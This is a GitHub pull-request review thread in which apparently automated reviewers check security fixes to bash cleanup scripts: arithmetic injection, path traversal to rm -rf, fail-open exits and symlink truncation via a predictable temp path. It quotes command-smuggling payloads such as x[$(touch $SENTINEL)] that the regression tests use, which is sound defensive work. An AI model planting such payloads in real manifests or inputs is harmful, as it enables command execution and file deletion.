path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The PID-based fallback ($$) is only reached when mktemp fails. PIDs are sequential and guessable on Linux. On a shared CI runner a co-tenant who predicts the PID and pre-creates /tmp/clean-manifest.<pid> as a symlink to an out-of-repo path causes the subsequent : >"$path" to truncate the symlink target. The primary mktemp path is fine; the risk is in the fallback only. Straightforward fix: abort on mktemp failure rather than silently falling back to a predictable name.

path="$(mktemp 2>/dev/null)" || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }

---

Summary

The two CRITICAL findings (arithmetic injection, path traversal) and the IMPORTANT finding (fail-open on missing manifest) remain unresolved at HEAD. The latest commit (9a534d2) is a comment-hygiene style change with no impact on the attack surface. These three issues should be addressed before merge — the CRITICAL pair gives an attacker who controls --manifest PATH arbitrary code execution and arbitrary filesystem deletion; the IMPORTANT one means a missing manifest silently reports success to automation.

[kyle-sexton]

🔒 merge-drive lane claiming this PR for on-branch fix work this cycle (amendment-round: 16, worker tier). Will fix clear branch-owned CI/bot findings, defer non-DEFER-FORBIDDEN items with reply+resolve, push, then re-check the merge gate.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 9a534d2cb5

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 4m 3s —— View job

---

PR Review — #1023 (HEAD 9311037)

• Gather context and read changed files at HEAD
• Verify security findings from prior reviews (arithmetic injection, path traversal, fail-open)
• Check correctness findings (staleness guard test, global accumulators, O(n²) dedup)
• Review new code introduced in the fix commit
• Post findings

---

Commit 9311037 ("harden manifest consumption and de-quadratic the dedup") addresses every critical and high-severity finding from prior review rounds, plus the quadratic dedup Codex flag. The three security fixes each have corresponding integration tests. Summary below, ranked by what remains outstanding.

---

✅ Resolved — Critical security findings (both fixed + tested)

Arithmetic injection via bytes field

clean-common.sh line 458

[[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0

Fixed. The regex gate coerces non-numeric values to zero before the $((...)) accumulator, blocking bash arithmetic injection. The inject.manifest test in clean-caches.test.sh lines 94–109 exercises the guard: a manifest whose bytes field is x[$(touch $SENTINEL)] is coerced, the injection command never executes, and the path still removes.

---

Path traversal via rel field → arbitrary rm -rf

clean-common.sh lines 427–435 and 453–456

clean_manifest_rel_safe() {
  local norm="${1//\\//}"
  [[ -n "$norm" ]] || return 1
  [[ "$norm" == /* ]] && return 1
  case "/$norm/" in
  */../*) return 1 ;;
  *) return 0 ;;
  esac
}

Fixed. The function rejects absolute paths, empty strings, and any .. component (wrapped as "/$norm/" so foo/.. → "/foo/../" matches */../*). Windows backslashes are normalized first. Rejected entries increment CLEAN_FAILED_COUNT and are logged to stderr, giving fail-closed behavior. The escape.manifest test in clean-caches.test.sh lines 83–92 covers the traversal case end-to-end.

---

✅ Resolved — Fail-open on missing manifest

clean-build.sh lines 87–90 / clean-caches.sh lines 75–78

if [[ ! -r "$MANIFEST_ARG" ]]; then
  echo "clean-build.sh: manifest not readable: $MANIFEST_ARG" >&2
  exit 1
fi

Fixed. Both entry scripts now guard before entering clean_apply_manifest, so --apply --manifest MISSING exits 1 and prints an error rather than silently reporting removed=0 failed=0. Test in clean-caches.test.sh lines 112–116.

---

✅ Resolved — Quadratic candidate dedup (Codex flag)

clean-common.sh lines 386–400

The prior O(n²) nested-path loop is replaced with an O(n log n) sort-keyed pass: each path is emitted as "$abs/" (trailing slash) then LC_ALL=C sorted, so parents sort before children and a single linear pass with "$key" == "$last_key"* skips children of the last kept ancestor. The trailing slash prevents build/ swallowing a sibling buildstuff/ (the sibling's key does not start with build/, it starts with buildstuff/).

---

Correctness — Medium (still outstanding)

Staleness guard has no test

The clean_apply_manifest function re-runs clean_target_eligible on every manifest entry (the staleness guard: a path that gained a .env between dry-run and apply is not removed). The guard code is present, but there is no test that exercises the path:

1. Create a build dir
2. Run --dry-run --manifest P (records it)
3. Drop a .env into the build dir
4. Run --apply --manifest P
5. Assert Skip (protected descendant): appears and the dir is untouched

Without this, a future refactor of clean_target_eligible or clean_apply_manifest could silently break the protection re-check without any test catching it. Fix this →

---

Architecture — Low (still outstanding)

Global accumulators initialized at source time only

clean-common.sh lines 317–326

CLEAN_CAND_ABS=()
CLEAN_CAND_CLASS=()
CLEAN_PLANNED_COUNT=0
...

These are set at source time, not reset at the start of clean_plan. Both callers source the library once and call the functions once, so there is no current double-counting bug, but a second clean_plan call in the same process would accumulate on top of the first. The pattern is safe today but fragile to extend. A clean_reset_state() helper, or resetting at the start of clean_plan, would make repeated-call semantics explicit.

---

Nitpick (still outstanding)

--manifest without a value silently over-shifts

clean-build.sh line 57 / clean-caches.sh line 52

--manifest)
  MANIFEST_ARG="${2:-}"
  shift 2
  ;;

If --manifest is the final argument, $2 is empty and shift 2 over-shifts without error. The script silently proceeds with an empty MANIFEST_ARG. A guard before the assignment ([[ -n "${2:-}" ]] || { echo "--manifest requires a PATH" >&2; exit 2; }) would surface this error early, consistent with the exit 2 usage-error contract.

---

Note on Codex suggestion — .NET custom output paths

Codex flagged that removing dotnet clean leaves behind projects configured with custom BaseOutputPath / OutputPath (e.g., artifacts/). This is a documentation/scope gap rather than a regression. artifacts/ is not in CLEAN_BUILD_DIR_NAMES, and the PR description explicitly acknowledges the scope is the universal name-based set. If artifacts/ support is needed it belongs in cleanup-paths.sh as a tracked addition — the right place to document this expectation is in cleanup-config.md.

---

Summary

The fix commit resolves all three blocker-class findings (arithmetic injection, path traversal, fail-open) with correct implementations and matching integration tests. The O(n log n) dedup also cleanly addresses the Codex quadratic flag. The PR is in good shape to merge. The one remaining medium item (staleness guard test) is worth landing before or shortly after merge; the architecture and nitpick items are optional improvements.

[claude]

Claude finished @kyle-sexton's task in 3m 46s —— View job

---

Security Review — PR #1023 (HEAD: 9311037)

• Read PR diff and changed files
• Audit clean-common.sh — manifest read/write path (primary attack surface)
• Audit clean-build.sh and clean-caches.sh — entry points and flag parsing
• Verify status of all prior security findings at current HEAD
• Report findings

---

The latest commit (9311037, "fix(repo-hygiene): harden manifest consumption and de-quadratic the dedup") directly addresses all three high-severity findings that prior review rounds flagged. One low-severity suggestion remains open.

---

Prior findings — resolution status at HEAD

CRITICAL: Arithmetic injection via bytes field — FIXED

clean-common.sh line 458

bytes is now validated as an unsigned decimal before any arithmetic:

[[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

A crafted bytes field containing a[$(evil_cmd)] is coerced to 0 and never evaluated. Regression test added in clean-caches.test.sh (sentinel file check). ✓

---

CRITICAL: Path traversal via rel field → arbitrary rm -rf — FIXED

clean-common.sh lines 427–435 / lines 453–457

The new clean_manifest_rel_safe function rejects any rel that is empty, absolute (/*), or contains a .. component (via case "/$norm/" in */../*)), with backslash normalisation first to cover Windows separators. Rejected entries increment CLEAN_FAILED_COUNT and emit Rejected (outside repo): to stderr — fail-closed, not silent. Regression test added for the containment case. ✓

---

IMPORTANT: --apply --manifest <missing> exits 0 (fail-open) — FIXED

clean-build.sh lines 87–90 / clean-caches.sh lines 75–78

Both entry scripts now guard readability before calling clean_apply_manifest:

if [[ ! -r "$MANIFEST_ARG" ]]; then
  echo "clean-build.sh: manifest not readable: $MANIFEST_ARG" >&2
  exit 1
fi

A mistyped or missing manifest path exits 1 with a clear message instead of printing removed=0 failed=0 and exiting 0. Regression test added. ✓

---

Remaining finding

SUGGESTION — PID-based fallback manifest path is guessable on shared runners
Confidence: MEDIUM

clean-common.sh line 484

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The $$-suffixed fallback is only reached when mktemp fails (rare). PIDs are sequential and guessable on Linux. On a shared CI runner, a co-tenant who pre-creates /tmp/clean-manifest.<pid> as a symlink to an arbitrary path causes the subsequent : >"$path" (line 486) to truncate the symlink target. The primary mktemp path is safe; the risk is limited to the rarely-reached fallback. Aborting on mktemp failure rather than falling back to a predictable name eliminates the window entirely:

path="$(mktemp 2>/dev/null)" || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }

Fix this →

---

Summary

The three prior high-severity findings (arithmetic injection, path traversal, fail-open on missing manifest) are all resolved at HEAD with regression tests covering each. The clean_manifest_rel_safe validation is correctly implemented and handles all traversal forms including Windows backslashes, absolute paths, and bare .. entries. No new security issues were introduced by any commit in this PR. The one remaining item (PID-based fallback path, line 484) is low-impact defense-in-depth — worth a one-liner fix before merge but not a blocker.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 9311037559

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 3m 42s —— View job

---

PR Review — #1023 (HEAD 76d3617)

• Gather context and understand PR scope
• Read latest commit diff to understand what changed
• Read clean-common.sh at current HEAD — verify security findings status
• Check clean-build.sh and clean-caches.sh for remaining issues
• Check test files for coverage of new validation logic
• Post findings

---

Commit 76d3617 ("validate manifest entries against tier and target rules") addresses the Codex P1 finding: a tampered manifest entry like caches\t1\tnotes could previously delete any unprotected untracked directory. The new clean_manifest_target_valid function re-derives target-hood from the candidate rules at apply time, and the allowed parameter to clean_apply_manifest gates entries by tier. Both defenses are correctly wired up in the callers and exercised by new integration tests.

All four findings flagged across earlier review rounds are now resolved. One new correctness issue was introduced in the latest commit; one nitpick in its test suite.

---

✅ Resolved — All prior security and correctness blockers

Finding	Where fixed
Arithmetic injection via bytes field	9311037 — ^[0-9]+$ guard before $((...))
Path traversal via rel → arbitrary rm -rf	9311037 — clean_manifest_rel_safe rejects ../absolute
Fail-open on missing manifest exits 0	9311037 — [[ -r "$MANIFEST_ARG" ]] guard in both entry scripts
Quadratic candidate dedup	9311037 — O(n log n) sort-key pass
Cross-tier / non-target manifest abuse (Codex P1)	76d3617 — clean_manifest_target_valid + allowed tier filter

---

Correctness — Low (new in 76d3617)

base computed from the unnormalized argument, not from rel

clean-common.sh line 444

clean_manifest_target_valid() {
  local class="$1" rel="${2//\\//}" base="${2##*/}" e pat

Bash evaluates all initialisers in a single local statement against the outer scope — base="${2##*/}" sees the raw $2, not the already-normalised rel. If a manifest entry carries Windows-style backslash separators (e.g. src\lib\bin), ##*/ finds no forward-slash to strip and base becomes the full string src\lib\bin. The CLEAN_BUILD_DIR_NAMES loop then fails to match bin, and the entry is rejected as "not a build target" — even though it is one.

The failure mode is a false rejection (safe but surprising), not a false acceptance — so this is not a security regression. However, it means legitimate backslash-path entries are silently refused, defeating the tier-validation's purpose on any environment where such paths could appear in the manifest. The fix is one additional local line:

clean_manifest_target_valid() {
  local class="$1" e pat
  local rel="${2//\\//}"
  local base="${rel##*/}"

Fix this →

---

Test-coverage — Nitpick (new in 76d3617)

Wrong-tier test captures rc but never asserts it

clean-caches.test.sh lines 124–131

out="$(run_r2 --apply --manifest "$TEST_TMPDIR/r2.wrongtier.manifest" 2>&1)"
rc=$?
assert_contains "wrong-tier entry rejected" "$out" "Rejected (wrong tier): bin"
assert_file_exists "wrong-tier target preserved" "$TEST_TMPDIR/r2/bin/x"
# ← missing: assert_exit "wrong-tier apply exits non-zero" 1 "$rc"

Every other hardening test in the block (containment, injection, non-target, missing manifest) has a matching assert_exit. The wrong-tier case checks the stderr message and the preserved file but does not assert that the script exits 1. Adding assert_exit "wrong-tier apply exits non-zero" 1 "$rc" aligns it with the rest and pins the fail-closed contract.

Fix this →

---

Still outstanding from prior rounds

Finding	Severity	Note
Staleness guard has no test	Correctness — Medium	No test covers: dry-run → .env added → apply → path preserved
Global accumulators not reset between calls	Architecture — Low	Safe today (one call per process); fragile to extend
--manifest without value silently over-shifts	Nitpick	shift 2 when $2 is absent; exit 2 guard would surface it early
PID-based fallback manifest path guessable on shared runners	Suggestion	Only reached on mktemp failure; abort instead of $$-suffix fallback

---

Summary

The overall design is sound and all blocker-class findings are resolved. The new clean_manifest_target_valid function correctly closes the Codex P1 tier-confusion gap, with good integration tests for the happy path, non-target rejection, and missing manifest. The one new correctness issue (base computed from unnormalised $2) is a false-rejection bug — safe but wrong — and the fix is a trivial split of the local line. The missing assert_exit on the wrong-tier test is a one-liner. Neither is a security regression. The PR is otherwise merge-ready pending those two small fixes.

[claude]

Claude finished @kyle-sexton's task in 4m 0s —— View job

---

Security Review — PR #1023 (HEAD 76d3617)

• Gather context and understand PR scope
• Read latest commit diff (76d3617 — "validate manifest entries against tier and target rules")
• Read clean-common.sh at HEAD for security-relevant changes
• Verify status of all prior findings at current HEAD
• Audit new Codex P1 finding (class field not validated against tier)
• Post findings

---

The latest commit (76d3617) directly addresses the Codex P1 finding: manifest entries are now validated against both a tier allowlist and the same candidate-path rules the dry-run walk uses. Full status of all findings across every prior review round is below.

---

Prior findings — resolution status at HEAD

CRITICAL: Arithmetic injection via bytes field — FIXED (9311037)

clean-common.sh line 505

[[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

Still fixed. The numeric guard coerces non-integer manifest fields to 0 before the arithmetic context. ✓

---

CRITICAL: Path traversal via rel field — FIXED (9311037)

clean-common.sh lines 427–435

clean_manifest_rel_safe rejects absolute paths, empty strings, and any .. component (wrapped as "/$norm/" → matches */../*). Still present and unchanged in 76d3617. ✓

---

IMPORTANT: --apply --manifest MISSING exits 0 — FIXED (9311037)

clean-build.sh lines 87–90 / clean-caches.sh lines 75–78

Both entry scripts guard [[ ! -r "$MANIFEST_ARG" ]] || exit 1 before calling clean_apply_manifest. Still present and unchanged. ✓

---

Codex P1: Arbitrary in-repo path removed via crafted manifest class/rel — FIXED (76d3617)

clean-common.sh lines 437–470

The new clean_manifest_target_valid function re-derives target-hood from the same arrays the walk uses (CLEAN_CACHE_EXPLICIT, CLEAN_CACHE_FIND_DIR_NAMES, CLEAN_CACHE_FIND_FILE_GLOBS, CLEAN_BUILD_DIR_NAMES, CLEAN_BUILD_FILE_GLOBS). A manifest entry naming an arbitrary in-repo path that doesn't match one of those rules is now rejected with Rejected (not a %s target): and counted in CLEAN_FAILED_COUNT. The tier allowlist check (a space-delimited allowed argument) runs before this, catching wrong-tier entries like a build-class entry processed by clean-caches.sh. Both callers pass the argument correctly: "caches" for clean-caches.sh, "build caches" for clean-build.sh. ✓

---

Remaining findings

SUGGESTION — allowed defaults to empty, silently disabling the tier check
Confidence: MEDIUM

clean-common.sh line 486

clean_apply_manifest() {
  local root="$1" manifest="$2" allowed="${3:-}"   # ← empty string if omitted
  ...
  if [[ -n "$allowed" && " $allowed " != *" $class "* ]]; then

If the third argument is omitted, allowed is empty, [[ -n "$allowed" ... ]] short-circuits to false, and the tier check is silently skipped for every entry. All four current call sites pass the argument correctly, so there is no bug today. However, the fail-open default means a future maintainer adding a call site without the third argument would unknowingly bypass tier isolation — and printf error output wouldn't show any sign of it. A defensively correct default would be "${3:?allowed_classes must be provided}" or at minimum [[ -z "$allowed" ]] && { echo "clean_apply_manifest: allowed_classes missing" >&2; return 1; }.

The independent clean_manifest_target_valid check still runs even with no allowed argument, so the worst case is that clean-caches.sh would accept build-class entries rather than rejecting them — an unintended scope expansion within the build+cache domain, not an arbitrary-deletion vulnerability.

Fix this →

---

SUGGESTION — PID-based fallback manifest path is guessable on shared runners
Confidence: MEDIUM

clean-common.sh line 531

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

Carry-forward from prior rounds. The $$-suffixed fallback is only reached when mktemp fails; on shared Linux CI runners, PIDs are sequential and a co-tenant could pre-create a symlink at the predicted path. The : >"$path" truncation that follows would then hit the symlink's target. The primary mktemp path is fine. Aborting on mktemp failure (|| { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }) is safer and equally simple.

---

Summary

Commit 76d3617 correctly closes the Codex P1 finding: clean_manifest_target_valid re-derives legitimate-target status from the same registry the walk uses, and the tier allowlist check (allowed) rejects cross-tier entries fail-closed. No new security issues were introduced. All prior CRITICAL and IMPORTANT findings remain resolved. The two remaining items are both SUGGESTION-level and the allowed-default one is the higher priority of the two.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 76d361725c

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 4m 32s —— View job

---

PR Review — #1023 (HEAD 137efb6)

• Gather context and read changed files at HEAD
• Verify Codex P1 fix: dir-name targets require -type d
• Verify Codex P2 fix: --dry-run --manifest PATH does not truncate existing files
• Check regression test coverage for both fixes
• Review status of all prior outstanding findings
• Post findings

---

Commit 137efb6 ("fix(repo-hygiene): type-check manifest targets and guard manifest overwrite") addresses both Codex findings from the prior round cleanly. All previous CRITICAL/HIGH security findings remain resolved. Summary below, outstanding items ranked by severity.

---

✅ Resolved — Dir-name targets require -d filesystem type (Codex P1)

clean-common.sh lines 448–478

clean_manifest_target_valid now takes abs as its third argument and gates each candidate category on the filesystem type enumeration would have found:

for e in "${CLEAN_BUILD_DIR_NAMES[@]}"; do
  [[ "$base" == "$e" ]] && { [[ -d "$abs" ]] && return 0 || return 1; }
done
for pat in "${CLEAN_BUILD_FILE_GLOBS[@]}"; do
  [[ "$base" == $pat ]] && { [[ -f "$abs" ]] && return 0 || return 1; }
done

A regular file named bin or __pycache__ now fails the -d check and is rejected. The CLEAN_CACHE_EXPLICIT and CLEAN_CACHE_EXPLICIT_FILES lists are also split and validated against -d/-f respectively. The existence check ([[ -e "$abs" ]]) was correctly moved before the type check so a resumed, already-removed entry stays an idempotent no-op rather than a rejection.

Integration test: clean-caches.test.sh lines 133–142 — creates a regular file named __pycache__, confirms it is rejected as "not a caches target" and preserved, and asserts exit 1. ✓

---

✅ Resolved — --dry-run --manifest PATH refuses to truncate existing non-manifest files (Codex P2)

clean-common.sh lines 534–565

New clean_manifest_writable_target validates that an explicit --manifest PATH destination is either absent, empty, or already contains manifest-format lines before allowing the write. clean_manifest_path calls it and returns 1 (with a stderr message) if the check fails. Both entry scripts now propagate that failure via || exit 1.

clean_manifest_writable_target() {
  [[ -e "$path" ]] || return 0
  [[ -f "$path" ]] || return 1
  [[ -s "$path" ]] || return 0
  while IFS= read -r line || [[ -n "$line" ]]; do
    [[ -z "$line" ]] && continue
    [[ "$line" =~ ^(caches|build)$'\t'[0-9]+$'\t' ]] || return 1
  done <"$path"
  return 0
}

Integration test: clean-caches.test.sh lines 151–163 — writes a precious.conf, asserts dry-run refuses + exits 1 + file is intact; then confirms re-writing an existing manifest file still works (exit 0). ✓

---

Correctness — Low (carried from 76d3617)

base computed from unnormalized $2, not from rel

clean-common.sh line 449

clean_manifest_target_valid() {
  local class="$1" rel="${2//\\//}" abs="$3" base="${2##*/}" e pat

In bash, all initialisers in a single local declaration are evaluated against the outer scope — base="${2##*/}" sees the raw $2, not the already-normalized rel. If a manifest entry contains Windows backslash separators (e.g. src\lib\bin), ##*/ finds no forward slash, and base = src\lib\bin. The subsequent [[ "$base" == "$e" ]] comparisons against CLEAN_BUILD_DIR_NAMES entries like bin then fail — the entry is rejected as "not a build target" even though it genuinely is one.

The failure mode is a false rejection (safe — the path is not removed when it should be), not a false acceptance. Legitimate manifests from clean_plan always use forward slashes (since rel="${abs#"$root"/}" and git always emits forward slashes), so this only matters for a crafted backslash manifest. Still, a one-line split is the correct fix:

clean_manifest_target_valid() {
  local class="$1" abs="$3" e pat
  local rel="${2//\\//}"
  local base="${rel##*/}"

Fix this →

---

Correctness — Medium (still outstanding)

Staleness guard has no integration test

No test exercises the re-protection scenario that is a first-class design goal: (1) create a build dir, (2) run --dry-run --manifest P, (3) add a .env file inside the dir, (4) run --apply --manifest P, (5) assert Skip (protected descendant): appears and the dir is untouched. The guard code (clean_target_eligible call in clean_apply_manifest) is present but dark — a future refactor of the protection logic could silently break it.

Fix this →

---

Nitpick — Test (still outstanding from 76d3617)

Wrong-tier test captures rc but never asserts on it

clean-caches.test.sh lines 128–131

out="$(run_r2 --apply --manifest "$TEST_TMPDIR/r2.wrongtier.manifest" 2>&1)"
rc=$?
assert_contains "wrong-tier entry rejected" "$out" "Rejected (wrong tier): bin"
assert_file_exists "wrong-tier target preserved" "$TEST_TMPDIR/r2/bin/x"
# ← missing: assert_exit "wrong-tier apply exits non-zero" 1 "$rc"

Every other hardening test in the block (escape, inject, non-target, type-mismatch, missing-manifest) has a matching assert_exit. The wrong-tier case is the only one that doesn't assert fail-closed exit status. One line to add.

Fix this →

---

Maintainability — Note (new in 137efb6)

clean_manifest_writable_target regex hardcodes class names

clean-common.sh line 546

[[ "$line" =~ ^(caches|build)$'\t'[0-9]+$'\t' ]] || return 1

The write guard for --manifest validates existing file content against (caches|build). If a future class is added to the manifest format, this regex would classify valid existing manifests as non-manifest files and refuse to overwrite them — a silent partial-write-protect that would confuse authors. The coupling is acceptable since the class set is small and stable, but it's worth noting alongside any future class additions.

---

Still outstanding from prior rounds

Finding	Severity	Status
Staleness guard has no test	Correctness — Medium	Unresolved
base computed from unnormalized $2	Correctness — Low	Unresolved
Wrong-tier test missing assert_exit	Nitpick	Unresolved
Global accumulators not reset between calls	Architecture — Low	Unresolved
--manifest trailing arg silently over-shifts	Nitpick	Unresolved
allowed defaults to empty, skips tier check silently	Suggestion	Unresolved
PID-based fallback manifest path ($$)	Suggestion	Unresolved

---

Summary

Commit 137efb6 correctly closes both Codex findings: dir-name/explicit-dir targets now require -d and file-glob/explicit-file targets require -f, with the existence check appropriately hoisted before type validation so resume stays idempotent. The manifest overwrite guard (clean_manifest_writable_target) is a correct and well-tested defense. All prior CRITICAL and HIGH findings remain resolved.

The PR is substantively merge-ready. The two items worth landing before or shortly after merge are the staleness guard test (medium — dark code path covering the core protection re-check contract) and the base normalization one-liner (low — incorrect but safe false-rejection for backslash paths). The remaining items are optional improvements.

[claude]

Claude finished @kyle-sexton's task in 4m 1s —— View job

---

Security Review — PR #1023 (HEAD 137efb6)

• Get PR diff at HEAD and read changed files
• Audit clean-common.sh — all manifest handling paths
• Verify status of prior open findings (allowed-default bypass, PID fallback)
• Audit new code in 137efb6 (file-type checks, manifest-overwrite guard)
• Post findings

---

The latest commit (137efb6, "type-check manifest targets and guard manifest overwrite") closes the two Codex findings from the 76d3617 round. All prior CRITICAL and IMPORTANT findings are resolved. Two carry-forward SUGGESTIONS remain; one new observation from the new clean_manifest_writable_target function.

---

Prior findings — resolution status at HEAD

CRITICAL: Arithmetic injection via bytes field — FIXED (9311037)

clean-common.sh line 518

[[ "$bytes" =~ ^[0-9]+$ ]] || bytes=0
CLEAN_REMOVED_BYTES=$((CLEAN_REMOVED_BYTES + bytes))

Numeric guard still in place. A manifest bytes field of a[$(evil)] is coerced to 0 before reaching arithmetic. ✓

---

CRITICAL: Path traversal via rel field → arbitrary rm -rf — FIXED (9311037)

clean-common.sh lines 427–435

clean_manifest_rel_safe() rejects empty strings, absolute paths, and any .. component (via case "/$norm/" in */../*)). Backslash normalization covers Windows separators. Still correct and unchanged. ✓

---

IMPORTANT: --apply --manifest MISSING exits 0 — FIXED (9311037)

clean-build.sh lines 87–90 / clean-caches.sh lines 75–78

Readability guards still in place. --apply --manifest MISSING exits 1 with a clear message. ✓

---

Codex P1: Arbitrary in-repo path removed via crafted manifest class/rel — FIXED (76d3617)

clean-common.sh lines 448–478

clean_manifest_target_valid() re-derives target-hood from the same arrays enumeration uses, and clean_apply_manifest() tier-filters via the allowed argument (both callers pass "build caches" / "caches" correctly). ✓

---

Codex P1 (76d3617): Regular file accepted as directory-name target — FIXED (137efb6)

clean-common.sh lines 458–468

clean_manifest_target_valid() now gates each rule class on the correct filesystem type — dir-names / explicit dirs require -d, globs / explicit files require -f. A regular file named bin passes clean_manifest_rel_safe() but fails the [[ -d "$abs" ]] guard and is rejected. ✓

---

Codex P2 (76d3617): --manifest path could truncate an arbitrary file on dry-run — FIXED (137efb6)

clean-common.sh lines 539–568

clean_manifest_writable_target() refuses an explicit --manifest path that names an existing non-empty file unless every non-blank line matches ^(caches|build)\t[0-9]+\t. A mistyped --manifest ~/.config/app/settings is rejected before truncation. ✓

---

Remaining findings

SUGGESTION — allowed parameter defaults to empty string; tier check silently skipped if argument is omitted

Confidence: MEDIUM

clean-common.sh line 494

clean_apply_manifest() {
  local root="$1" manifest="$2" allowed="${3:-}"
  ...
  if [[ -n "$allowed" && " $allowed " != *" $class "* ]]; then

When the third argument is absent, allowed is empty, [[ -n "$allowed" ]] is false, and the tier check short-circuits to skipped — every manifest class is accepted regardless of what tier the caller represents. All four current call sites pass the argument correctly ("build caches" or "caches"), so there is no active vulnerability. The risk is that a future call site that omits the argument bypasses tier isolation silently rather than loudly. Defaulting to a fail-closed empty-means-deny or using ${3:?allowed_classes required} would surface the mistake. Carry-forward from prior round; unchanged.

---

SUGGESTION — PID-based fallback manifest path is guessable on shared CI runners

Confidence: MEDIUM

clean-common.sh line 564

path="$(mktemp 2>/dev/null)" || path="${TMPDIR:-/tmp}/clean-manifest.$$"

The $$-suffixed fallback is only reached when mktemp fails. On Linux, PIDs are sequential; a co-tenant on a shared runner who predicts the PID and pre-creates /tmp/clean-manifest.<pid> as a symlink to an arbitrary destination could cause the subsequent : >"$path" to truncate through the symlink. The primary mktemp path is safe; the risk is the fallback only. clean_manifest_writable_target() added in 137efb6 mitigates this for non-empty non-manifest targets, but an empty symlink target still passes the -s guard. Aborting on mktemp failure eliminates the window:

path="$(mktemp 2>/dev/null)" || { printf 'clean_manifest_path: mktemp failed\n' >&2; return 1; }

Carry-forward from prior rounds; unchanged.

---

SUGGESTION — clean_manifest_writable_target follows symlinks; empty-file targets bypass the content check

Confidence: LOW

clean-common.sh lines 541–543

[[ -e "$path" ]] || return 0
[[ -f "$path" ]] || return 1
[[ -s "$path" ]] || return 0   # ← empty file → writable, no content check

[[ -f "$path" ]] follows symlinks. If a caller supplies --manifest /tmp/clean-manifest-pid and that path is a symlink to an empty file outside the repo, [[ -s "$path" ]] evaluates the symlink target's size (zero → false → return 0), and the subsequent : >"$path" truncates the symlink target — effectively a no-op since the file was already empty. For a non-empty target whose content happens to match manifest format, the content check also passes and the truncation is destructive. In practice, exploiting this requires an attacker-controlled --manifest value that resolves to a symlink pointing to a specifically-crafted or empty target file — a narrow scenario. The PID-fallback finding is the more plausible attack path since it doesn't require the attacker to control the explicit --manifest argument. Adding [[ -L "$path" ]] && return 1 before the -f check would close this surface cleanly.

Fix this →

---

Summary

The two new Codex findings (137efb6) are both correctly fixed — directory-name targets are now type-checked against -d, and the overwrite guard protects against accidental non-manifest file truncation. No new security issues were introduced. All CRITICAL and IMPORTANT findings from prior rounds remain resolved. The three remaining items are all SUGGESTION-level: allowed default (theoretical future risk, not current), PID-fallback (carry-forward, requires mktemp failure), and symlink bypass in the new overwrite guard (narrow exploit scenario, effectively a no-op when the target is empty).

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 137efb648a

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 2m 31s —— View job

---

PR Review — #1023 (HEAD 1967662)

• Gather context and read changed files at HEAD
• Verify latest commit (1967662) fixes the --manifest trailing-arg loop
• Check test coverage for the fix
• Assess outstanding findings from prior rounds
• Post findings

---

Commit 1967662 ("fix(repo-hygiene): reject a valueless --manifest instead of looping forever") closes the last nitpick-class finding from prior rounds. The fix is correct and the test is well-constructed.

---

✅ Resolved — Trailing --manifest loops forever

clean-build.sh lines 57–62 / clean-caches.sh lines 51–56

--manifest)
  if [[ $# -lt 2 ]]; then
    echo "clean-build.sh: --manifest requires a value" >&2
    exit 2
  fi
  MANIFEST_ARG="$2"
  shift 2
  ;;

The prior ${2:-} + unconditional shift 2 was an infinite loop: when --manifest is the final argument ($# is 1), bash's shift 2 returns non-zero but shifts no positional parameters, so $1 stays --manifest and the while [[ $# -gt 0 ]] loop re-enters it forever. The $# -lt 2 guard exits 2 before shift is reached. Both entry scripts are fixed consistently. ✓

Integration test at clean-caches.test.sh lines 165–171 wraps the invocation with timeout 10 so a regression into a hang fails the case loudly rather than stalling CI. ✓

---

Nitpick — Trailing---manifest test is only in clean-caches.test.sh

Both clean-build.sh and clean-caches.sh received the fix, but only clean-caches.test.sh has the regression test (guard 7). clean-build.test.sh has no matching case. Parity with clean-caches.test.sh guard 7 — one timeout-wrapped invocation, assert_exit 2, assert_contains "requires a value" — would pin the contract for both scripts.

Fix this →

---

Still outstanding from prior rounds

Finding	Severity	Note
Staleness guard has no test	Correctness — Medium	No test covers: dry-run → .env added to target dir → apply → dir preserved. The guard code in clean_apply_manifest (re-calling clean_target_eligible) is dark and could regress silently.
